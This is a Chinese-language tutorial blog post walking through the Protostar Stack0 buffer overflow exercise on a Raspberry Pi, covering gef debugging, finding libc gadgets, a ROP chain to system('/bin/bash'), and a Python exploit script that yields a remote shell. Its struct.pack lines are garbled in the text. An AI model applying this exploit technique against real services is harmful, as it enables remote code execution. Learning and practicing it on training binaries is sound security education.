利用树莓派进行ARM缓冲区溢出Exploit练习
概述
前段时间,我将Exploit Exercises Protostar系列堆栈练习全部都给编译了一遍,并将这些东西保存在Github上。
由于我对该架构十分熟悉,所以更喜欢在ARM上完成Exploit练习。当我再一次完成Protostar所有练习时,我意识到可能可以将这些挑战一个一个进行分解,接下来我们就来看看Stack0
Exploit
我是在树莓派上进行练习,如果你没有一个能够使用的设备,你也可以设置一个QEMU环境跟着文章进度一起玩耍。在这个练习中我已经将ASLR(地址空间配置随机加载)给禁用了
我使用gef进行调试工作,这款工具对ARM架构的支持非常优秀。使用socat运行二进制文件,所以我们可以进行远程测试。
pi@raspberrypi:~/exploit-exercises-arm/protostar/stack0 $ socat tcp-l:6666,reuseaddr,fork exec:"./stack0"
在GDB中加载二进制文件之后,我们可以使用gef命令在程序的入口点设置一个断点。
gef> entry-break
[+] Breaking at '{}
0x1044c 'Temporary breakpoint 1 at 0x1044c
[+] Starting execution
我们可以非常轻松的观察到即将在gets()函数发生的堆栈溢出:
0x00010468 28>: sub r3, r11, #72 ; 0x48
0x0001046c 32>: mov r0, r3
0x00010470 36>: bl 0x102e8
如果我们向gets()函数发送76个字节数据,这会导致一个分段错误。
gef> c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
You have changed the 'modified' variables!
Program received signal SIGSEGV, Segmentation fault.
如果我们检查程序的寄存器,会发现似乎我们已经将返回地址给覆盖掉了,现在控制的是pc:
gef> info registers
r0 0x0 0
r1 0x0 0
r2 0x1 1
r3 0x0 0
r4 0x0 0
r5 0x0 0
r6 0x10324 66340
r7 0x0 0
r8 0x0 0
r9 0x0 0
r10 0x76fff000 1996484608
r11 0x41414141 1094795585
r12 0x2b 43
sp 0x7efff5b0 0x7efff5b0
lr 0x76ed1008 1995247624
pc 0x41414140 0x41414140
cpsr 0x60000030 1610612784
由于这不是一个可执行堆栈,我们需要使用ROP来实现代码执行。在主二进制本身几乎没有任何可以用的gadgets,我们不得不将目光转向libc。为了调用system()函数,我们需要新建一个ROP链。使用ROPgadget,我找到了以下gadgets来创建我们的ROP链。
在ARM架构下,参数通过寄存器传递给函数。例如r0会将保留的第一个参数传递给一个给定的函数调用。在我们的这个例子中就是system()函数。
gadget会分别中r0,r4,pc中取出数据。为了继续控制程序执行流程,之后会将gadget放入pc。
0x0007a12c : pop {r0, r4, pc}
第二个gadget仅仅是为了控制Link Register,这会包含system()函数的地址,并且bx lr指令也会调用函数本身。
0x0005cbc8 : pop {r4, r5, r6, r7, lr} ; add sp, sp, #0x10 ; bx lr
由于已经禁用了ASLR,我们可以抓取libc的基地址并计算出每个gadget的偏移地址。
gef> vmmap
Start End Offset Perm Path
0x00010000 0x00011000 0x00000000 r-x /home/pi/exploit-exercises-arm/protostar/stack0/stack0
0x00020000 0x00021000 0x00000000 rw- /home/pi/exploit-exercises-arm/protostar/stack0/stack0
0x76e66000 0x76f91000 0x00000000 r-x /lib/arm-linux-gnueabihf/libc-2.19.so
0x76f91000 0x76fa1000 0x0012b000 --- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa1000 0x76fa3000 0x0012b000 r-- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa3000 0x76fa4000 0x0012d000 rw- /lib/arm-linux-gnueabihf/libc-2.19.so
0x76fa4000 0x76fa7000 0x00000000 rw-
0x76fbf000 0x76fce000 0x00005000 --- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fce000 0x76fcf000 0x00004000 rw- /usr/lib/arm-linux-gnueabihf/libarmmem.so
0x76fcf000 0x76fef000 0x00000000 r-x /lib/arm-linux-gnueabihf/ld-2.19.so
0x76ff5000 0x76ffb000 0x00000000 rw-
0x76ffb000 0x76ffc000 0x00000000 r-x [sigpage]
0x76ffc000 0x76ffd000 0x00000000 r-- [vvar]
0x76ffd000 0x76ffe000 0x00000000 r-x [vdso]
0x76ffe000 0x76fff000 0x0001f000 r-- /lib/arm-linux-gnueabihf/ld-2.19.so
0x76fff000 0x77000000 0x00020000 rw- /lib/arm-linux-gnueabihf/ld-2.19.so
0x7efdf000 0x7f000000 0x00000000 rwx [stack]
0xffff0000 0xffff1000 0x00000000 r-x [vectors]
最后,如果我们继续往下看,或许可以获得字符串SHELL=/bin/bash的地址。我们可以索引到这个地址并获取/bin/bash,对于我们来说这将作为system()函数的一个参数。
以下为exploit
import socket
import sys
import struct
import telnetlib
def exploit():
try:
# Connect to target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.174.90.177', 6666))
print("[*] Connecting to target (!)")
# Build payload
payload = 'A' * 72
payload += struct.pack(", 0x76EE012C)
payload += struct.pack(", 0x7efff7f3)
payload += 'BBBB'
payload += struct.pack(", 0x76EC2BC8)
payload += 'CCCC'
payload += 'DDDD'
payload += 'EEEE'
payload += 'FFFF'
payload += struct.pack(", 0x76e9ffac)
print("[*] Sending Payload (!)")
# Send payload
s.sendall(payload)
# Interact with the shell
t = telnetlib.Telnet()
t.sock = s
t.interact()
except socket.errno:
raise
if __name__ == '__main__':
try:
exploit()
except KeyboardInterrupt:
sys.exit(0)
我们来运行试试!
[*] Connecting to target (!)
[*] Sending Payload (!)
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
上一篇: 揭秘:古时候的达官贵人都穿什么?
下一篇: 刁蛮的老婆,看到就疯了